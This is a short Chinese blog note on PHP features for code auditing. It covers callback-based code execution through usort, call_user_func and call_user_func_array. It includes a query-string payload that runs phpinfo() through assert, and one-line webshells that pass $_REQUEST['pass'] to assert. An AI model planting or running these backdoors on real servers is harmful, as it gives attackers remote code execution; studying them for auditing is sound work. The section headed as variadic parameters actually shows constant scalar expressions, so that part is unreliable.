PHP特性笔记 taro Posted on Mar 17 2021 PHP 代码审计 # 变长参数 5.6新引入的特性 **类似于Python中的**kwargs** [PHP官方文档](http://php.net/manual/zh/migration56.new-features.php) > 在之前的 PHP 版本中, 必须使用静态值来定义常量,声明属性以及指定函数参数默认值。 现在你可以使用包括数值、字符串字面量以及其他常量在内的数值表达式来 定义常量、声明属性以及设置函数参数默认值。 **demo** ```php <?php const ONE = 1; const TWO = ONE * 2; class C { const THREE = TWO + 1; const ONE_THIRD = ONE / self::THREE; const SENTENCE = 'The value of THREE is '.self::THREE; public function f($a = ONE + self::THREE) { return $a; } } echo (new C)->f()."\n"; echo C::SENTENCE; ?> ``` >以上例程会输出: 4 The value of THREE is 3 # 回调函数 ## usort 函数 本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。 ```php usort ( array &$array , callable $value_compare_func ) : bool ``` 可构造`?1[]=test&1[]=phpinfo();&2=assert` usort函数的第二个参数是一个回调函数`assert`,其调用了第一个参数中的`phpinfo()`; ## call_user_func函数 ```php call_user_func('assert', $_REQUEST['pass']); ``` ## call_user_func_array ```php call_user_func_array('assert', array($_REQUEST['pass'])); ``` ## array_filter array_filter函数是将数组中所有元素遍历并用指定函数处理过滤 ## array_map 参考: [创造tips的秘籍——PHP回调后门 ](https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html) 提权整理 PHP常用代码